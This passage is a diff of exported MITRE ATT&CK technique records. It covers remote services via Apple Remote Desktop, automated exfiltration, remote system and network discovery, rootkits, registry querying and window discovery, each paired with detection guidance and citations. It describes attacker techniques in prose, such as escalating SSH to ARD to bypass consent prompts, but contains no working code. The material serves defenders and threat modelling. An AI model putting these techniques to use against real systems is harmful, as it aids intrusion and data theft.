Tools](https://attack.mitre.org/techniques/T1072) and other administrative programs) may utilize [Remote Services](https://attack.mitre.org/techniques/T1021) to access remote hosts. For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management. ARD leverages a blend of protocols, including [VNC](https://attack.mitre.org/techniques/T1021/005) to send the screen and control buffers and [SSH](https://attack.mitre.org/techniques/T1021/004) for secure file transfer.(Citation: Remote Management MDM macOS)(Citation: Kickstart Apple Remote Desktop commands)(Citation: Apple Remote Desktop Admin Guide 3.3) Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement. In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.(Citation: FireEye 2019 Apple Remote Desktop)(Citation: Lockboxx ARD 2019)(Citation: Kickstart Apple Remote Desktop commands)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'lateral-movement'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1021', 'external_id': 'T1021'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/555.html', 'external_id': 'CAPEC-555'}, {'source_name': 'SSH Secure Shell', 'description': 'SSH.COM. (n.d.). SSH (Secure Shell). Retrieved March 23, 2020.', 'url': 'https://www.ssh.com/ssh'}, {'source_name': 'TechNet Remote Desktop Services', 'description': 'Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1, 2016.', 'url': 'https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx'}, {'source_name': 'Remote Management MDM macOS', 'description': 'Apple. (n.d.). Use MDM to enable Remote Management in macOS. Retrieved September 23, 2021.', 'url': 'https://support.apple.com/en-us/HT209161'}, {'source_name': 'Kickstart Apple Remote Desktop commands', 'description': 'Apple. (n.d.). Use the kickstart command-line utility in Apple Remote Desktop. Retrieved September 23, 2021.', 'url': 'https://support.apple.com/en-us/HT201710'}, {'source_name': 'Apple Remote Desktop Admin Guide 3.3', 'description': 'Apple. (n.d.). Apple Remote Desktop Administrator Guide Version 3.3. Retrieved October 5, 2021.', 'url': 'https://images.apple.com/remotedesktop/pdf/ARD_Admin_Guide_v3.3.pdf'}, {'source_name': 'FireEye 2019 Apple Remote Desktop', 'description': 'Jake Nicastro, Willi Ballenthin. (2019, October 9). Living off the Orchard: Leveraging Apple Remote Desktop for Good and Evil. Retrieved August 16, 2021.', 'url': 'https://www.fireeye.com/blog/threat-research/2019/10/leveraging-apple-remote-desktop-for-good-and-evil.html'}, {'source_name': 'Lockboxx ARD 2019', 'description': 'Dan Borges. (2019, July 21). MacOS Red Teaming 206: ARD (Apple Remote Desktop Protocol). Retrieved September 10, 2021.', 'url': 'http://lockboxx.blogspot.com/2019/07/macos-red-teaming-206-ard-apple-remote.html'}, {'source_name': 'Apple Unified Log Analysis Remote Login and Screen Sharing', 'description': 'Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] – Working From Home? Remote Logins. Retrieved August 19, 2021.', 'url': 'https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Dan Borges, @1njection']","['Process: Process Creation', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'Logon Session: Logon Session Creation', 'Command: Command Execution', 'Network Share: Network Share Access', 'Module: Module Load']",,"Correlate use of login activity related to remote services with unusual behavior or other malicious or suspicious activity. Adversaries will likely need to learn about an environment and the relationships between systems through Discovery techniques prior to attempting Lateral Movement. -In an enterprise environment, servers and workstations can be organized into domains. Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1021', external_id='T1021'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/555.html', external_id='CAPEC-555'), ExternalReference(source_name='SSH Secure Shell', description='SSH.COM. (n.d.). SSH (Secure Shell). Retrieved March 23, 2020.', url='https://www.ssh.com/ssh'), ExternalReference(source_name='TechNet Remote Desktop Services', description='Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1, 2016.', url='https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx')]",attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='lateral-movement')]",2020-03-25 12:25:03.251000+00:00,Remote Services,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process: Process Creation', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'Logon Session: Logon Session Creation', 'Command: Command Execution', 'Network Share: Network Share Access', 'Module: Module Load']",,,,,Correlate use of login activity related to remote services with unusual behavior or other malicious or suspicious activity. Adversaries will likely need to learn about an environment and the relationships between systems through Discovery techniques prior to attempting Lateral Movement.,,,,,False,,,,"['Linux', 'macOS', 'Windows']",,['Active remote service accepting connections and valid credentials'],,1.1 -2017-05-31 21:30:29.458000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may exfiltrate data, such as sensitive documents, through the use of automated processing after being gathered during Collection. +Use of applications such as ARD may be legitimate depending on the environment and how it’s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior using these applications. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. -When automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1020', external_id='T1020')]",attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='exfiltration')]",2021-04-22 20:21:10.590000+00:00,Automated Exfiltration,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,['ExtraHop'],"['Command: Command Execution', 'Script: Script Execution', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'File: File Access']",,,,,Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious.,,,,,False,True,,,"['Linux', 'macOS', 'Windows', 'Network']",,,,1.2 -2017-05-31 21:30:28.187000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as [Ping](https://attack.mitre.org/software/S0097) or net view using [Net](https://attack.mitre.org/software/S0039). Adversaries may also use local host files (ex: C:\Windows\System32\Drivers\etc\hosts or /etc/hosts) in order to discover the hostname to IP address mappings of remote systems. +In macOS, you can review logs for ""screensharingd"" and ""Authentication"" event messages. Monitor network connections regarding remote management (ports tcp:3283 and tcp:5900) and for remote login (port tcp:22).(Citation: Lockboxx ARD 2019)(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)",False,,"['Linux', 'macOS', 'Windows']",1.2,,['Active remote service accepting connections and valid credentials'],,,,, +attack-pattern,attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:29.458Z,2021-08-16T15:23:38.940Z,Automated Exfiltration,"Adversaries may exfiltrate data, such as sensitive documents, through the use of automated processing after being gathered during Collection. -Specific to macOS, the bonjour protocol exists to discover additional Mac-based systems within the same broadcast domain.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1018', external_id='T1018'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/292.html', external_id='CAPEC-292'), ExternalReference(source_name='Elastic - Koadiac Detection with EQL', description='Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020.', url='https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql')]",attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='discovery')]",2021-04-13 21:40:23.368000+00:00,Remote System Discovery,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Daniel Stepanic, Elastic', 'RedHuntLabs, @redhuntlabs']","['Process: Process Creation', 'Command: Command Execution', 'Network Traffic: Network Connection Creation', 'File: File Access']",,,,,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. +When automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'exfiltration'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1020', 'external_id': 'T1020'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['ExtraHop'],"['Command: Command Execution', 'Script: Script Execution', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'File: File Access']",,Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious.,False,,"['Linux', 'macOS', 'Windows', 'Network']",1.2,,,True,,,, +attack-pattern,attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:28.187Z,2021-10-15T15:30:00.172Z,Remote System Discovery,"Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as [Ping](https://attack.mitre.org/software/S0097) or net view using [Net](https://attack.mitre.org/software/S0039). Adversaries may also use local host files (ex: C:\Windows\System32\Drivers\etc\hosts or /etc/hosts) in order to discover the hostname to IP address mappings of remote systems. +","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1018', 'external_id': 'T1018'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/292.html', 'external_id': 'CAPEC-292'}, {'source_name': 'Elastic - Koadiac Detection with EQL', 'description': 'Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020.', 'url': 'https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Daniel Stepanic, Elastic', 'RedHuntLabs, @redhuntlabs']","['Process: Process Creation', 'Command: Command Execution', 'Network Traffic: Network Connection Creation', 'File: File Access']",,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Normal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). -Monitor for processes that can be used to discover remote systems, such as ping.exe and tracert.exe, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)",,,,,False,,,"['User', 'Administrator', 'SYSTEM']","['Linux', 'macOS', 'Windows']",,,,3.1 -2017-05-31 21:30:27.342000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include [Arp](https://attack.mitre.org/software/S0099), [ipconfig](https://attack.mitre.org/software/S0100)/[ifconfig](https://attack.mitre.org/software/S0101), [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103). +Monitor for processes that can be used to discover remote systems, such as ping.exe and tracert.exe, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)",False,"['User', 'Administrator', 'SYSTEM']","['Linux', 'macOS', 'Windows']",3.2,,,,,,, +attack-pattern,attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:27.342Z,2021-10-08T00:17:37.881Z,System Network Configuration Discovery,"Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include [Arp](https://attack.mitre.org/software/S0099), [ipconfig](https://attack.mitre.org/software/S0100)/[ifconfig](https://attack.mitre.org/software/S0101), [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103). -Adversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1016', external_id='T1016'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/309.html', external_id='CAPEC-309')]",attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='discovery')]",2021-04-24 13:13:49.594000+00:00,System Network Configuration Discovery,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process: Process Creation', 'Script: Script Execution', 'Command: Command Execution', 'Process: OS API Execution']",,,,,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. +Adversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016) during automated discovery to shape follow-on behaviors, including determining certain access within the target network and what actions to do next. ","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1016', 'external_id': 'T1016'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/309.html', 'external_id': 'CAPEC-309'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Script: Script Execution', 'Command: Command Execution', 'Process: OS API Execution']",,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. -Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",,,,,False,,,['User'],"['Linux', 'macOS', 'Windows']",,,,1.2 -2017-05-31 21:30:26.496000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information. (Citation: Symantec Windows Rootkits) +Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",False,['User'],"['Linux', 'macOS', 'Windows']",1.3,,,,,,, +attack-pattern,attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:26.496Z,2020-06-20T22:29:55.496Z,Rootkit,"Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information. (Citation: Symantec Windows Rootkits) -Rootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a hypervisor, Master Boot Record, or [System Firmware](https://attack.mitre.org/techniques/T1542/001). (Citation: Wikipedia Rootkit) Rootkits have been seen for Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1014', external_id='T1014'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/552.html', external_id='CAPEC-552'), ExternalReference(source_name='Symantec Windows Rootkits', description='Symantec. (n.d.). Windows Rootkit Overview. Retrieved December 21, 2017.', url='https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf'), ExternalReference(source_name='Wikipedia Rootkit', description='Wikipedia. (2016, June 1). Rootkit. Retrieved June 2, 2016.', url='https://en.wikipedia.org/wiki/Rootkit'), ExternalReference(source_name='CrowdStrike Linux Rootkit', description='Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017.', url='https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/'), ExternalReference(source_name='BlackHat Mac OSX Rootkit', description=""Pan, M., Tsai, S. (2014). You can’t see me: A Mac OS X Rootkit uses the tricks you haven't known yet. Retrieved December 21, 2017."", url='http://www.blackhat.com/docs/asia-14/materials/Tsai/WP-Asia-14-Tsai-You-Cant-See-Me-A-Mac-OS-X-Rootkit-Uses-The-Tricks-You-Havent-Known-Yet.pdf')]",attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-06-20 22:29:55.496000+00:00,Rootkit,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Drive: Drive Modification', 'Firmware: Firmware Modification']","['File monitoring', 'Host intrusion prevention systems', 'Application control', 'Signature-based detection', 'System access controls', 'Application control by file name or path', 'Anti-virus']",,,,"Some rootkit protections may be built into anti-virus or operating system software. There are dedicated rootkit detection tools that look for specific types of rootkit behavior. Monitor for the existence of unrecognized DLLs, devices, services, and changes to the MBR. (Citation: Wikipedia Rootkit)",,,,,False,,,"['Administrator', 'SYSTEM', 'root']","['Linux', 'macOS', 'Windows']",,,,1.1 -2017-05-31 21:30:25.584000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software. +Rootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a hypervisor, Master Boot Record, or [System Firmware](https://attack.mitre.org/techniques/T1542/001). (Citation: Wikipedia Rootkit) Rootkits have been seen for Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1014', 'external_id': 'T1014'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/552.html', 'external_id': 'CAPEC-552'}, {'source_name': 'Symantec Windows Rootkits', 'description': 'Symantec. (n.d.). Windows Rootkit Overview. Retrieved December 21, 2017.', 'url': 'https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf'}, {'source_name': 'Wikipedia Rootkit', 'description': 'Wikipedia. (2016, June 1). Rootkit. Retrieved June 2, 2016.', 'url': 'https://en.wikipedia.org/wiki/Rootkit'}, {'source_name': 'CrowdStrike Linux Rootkit', 'description': 'Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017.', 'url': 'https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/'}, {'source_name': 'BlackHat Mac OSX Rootkit', 'description': ""Pan, M., Tsai, S. (2014). You can’t see me: A Mac OS X Rootkit uses the tricks you haven't known yet. Retrieved December 21, 2017."", 'url': 'http://www.blackhat.com/docs/asia-14/materials/Tsai/WP-Asia-14-Tsai-You-Cant-See-Me-A-Mac-OS-X-Rootkit-Uses-The-Tricks-You-Havent-Known-Yet.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Drive: Drive Modification', 'Firmware: Firmware Modification']","['File monitoring', 'Host intrusion prevention systems', 'Application control', 'Signature-based detection', 'System access controls', 'Application control by file name or path', 'Anti-virus']","Some rootkit protections may be built into anti-virus or operating system software. There are dedicated rootkit detection tools that look for specific types of rootkit behavior. Monitor for the existence of unrecognized DLLs, devices, services, and changes to the MBR. (Citation: Wikipedia Rootkit)",False,"['Administrator', 'SYSTEM', 'root']","['Linux', 'macOS', 'Windows']",1.1,,,,,,, +attack-pattern,attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:25.584Z,2020-03-26T18:08:20.049Z,Query Registry,"Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software. -The Registry contains a significant amount of information about the operating system, configuration, software, and security.(Citation: Wikipedia Windows Registry) Information can easily be queried using the [Reg](https://attack.mitre.org/software/S0075) utility, though other means to access the Registry exist. Some of the information may help adversaries to further their operation within a network. Adversaries may use the information from [Query Registry](https://attack.mitre.org/techniques/T1012) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1012', external_id='T1012'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/647.html', external_id='CAPEC-647'), ExternalReference(source_name='Wikipedia Windows Registry', description='Wikipedia. (n.d.). Windows Registry. Retrieved February 2, 2015.', url='https://en.wikipedia.org/wiki/Windows_Registry')]",attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='discovery')]",2020-03-26 18:08:20.049000+00:00,Query Registry,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process: Process Creation', 'Command: Command Execution', 'Windows Registry: Windows Registry Key Access', 'Process: OS API Execution']",,,,,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. +The Registry contains a significant amount of information about the operating system, configuration, software, and security.(Citation: Wikipedia Windows Registry) Information can easily be queried using the [Reg](https://attack.mitre.org/software/S0075) utility, though other means to access the Registry exist. Some of the information may help adversaries to further their operation within a network. Adversaries may use the information from [Query Registry](https://attack.mitre.org/techniques/T1012) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1012', 'external_id': 'T1012'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/647.html', 'external_id': 'CAPEC-647'}, {'source_name': 'Wikipedia Windows Registry', 'description': 'Wikipedia. (n.d.). Windows Registry. Retrieved February 2, 2015.', 'url': 'https://en.wikipedia.org/wiki/Windows_Registry'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Command: Command Execution', 'Windows Registry: Windows Registry Key Access', 'Process: OS API Execution']",,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. -Interaction with the Windows Registry may come from the command line using utilities such as [Reg](https://attack.mitre.org/software/S0075) or through running malware that may interact with the Registry through an API. Command-line invocation of utilities used to query the Registry may be detected through process and command-line monitoring. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",,,,,False,,,"['User', 'Administrator', 'SYSTEM']",['Windows'],,,,1.2 -2017-05-31 21:30:25.159000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may attempt to exfiltrate data over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel. +Interaction with the Windows Registry may come from the command line using utilities such as [Reg](https://attack.mitre.org/software/S0075) or through running malware that may interact with the Registry through an API. Command-line invocation of utilities used to query the Registry may be detected through process and command-line monitoring. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",False,"['User', 'Administrator', 'SYSTEM']",['Windows'],1.2,,,,,,, +attack-pattern,attack-pattern--51ea26b1-ff1e-4faa-b1a0-1114cd298c87,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:25.159Z,2020-03-28T00:35:24.570Z,Exfiltration Over Other Network Medium,"Adversaries may attempt to exfiltrate data over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel. -Adversaries may choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1011', external_id='T1011')]",attack-pattern--51ea26b1-ff1e-4faa-b1a0-1114cd298c87,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='exfiltration')]",2020-03-28 00:35:24.570000+00:00,Exfiltration Over Other Network Medium,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Itzik Kotler, SafeBreach']","['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'File: File Access', 'Command: Command Execution']",,,,,"Monitor for processes utilizing the network that do not normally have network communication or have never been seen before. Processes that normally require user-driven events to access the network (for example, a web browser opening with a mouse click or key press) but access the network without such may be malicious. +Adversaries may choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'exfiltration'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1011', 'external_id': 'T1011'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Itzik Kotler, SafeBreach']","['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'File: File Access', 'Command: Command Execution']",,"Monitor for processes utilizing the network that do not normally have network communication or have never been seen before. Processes that normally require user-driven events to access the network (for example, a web browser opening with a mouse click or key press) but access the network without such may be malicious. -Monitor for and investigate changes to host adapter settings, such as addition and/or replication of communication interfaces.",,,,,False,True,,,"['Linux', 'macOS', 'Windows']",,,,1.1 -2017-05-31 21:30:24.512000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used or give context to information collected by a keylogger.,"[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1010', external_id='T1010')]",attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='discovery')]",2020-03-26 15:44:27.068000+00:00,Application Window Discovery,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution']",,,,,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. +Monitor for and investigate changes to host adapter settings, such as addition and/or replication of communication interfaces.",False,,"['Linux', 'macOS', 'Windows']",1.1,,,True,,,, +attack-pattern,attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:24.512Z,2020-03-26T15:44:27.068Z,Application Window Discovery,Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used or give context to information collected by a keylogger.,"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1010', 'external_id': 'T1010'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution']",,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. -Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",,,,,False,,,['User'],"['macOS', 'Windows']",,,,1.1 -2017-05-31 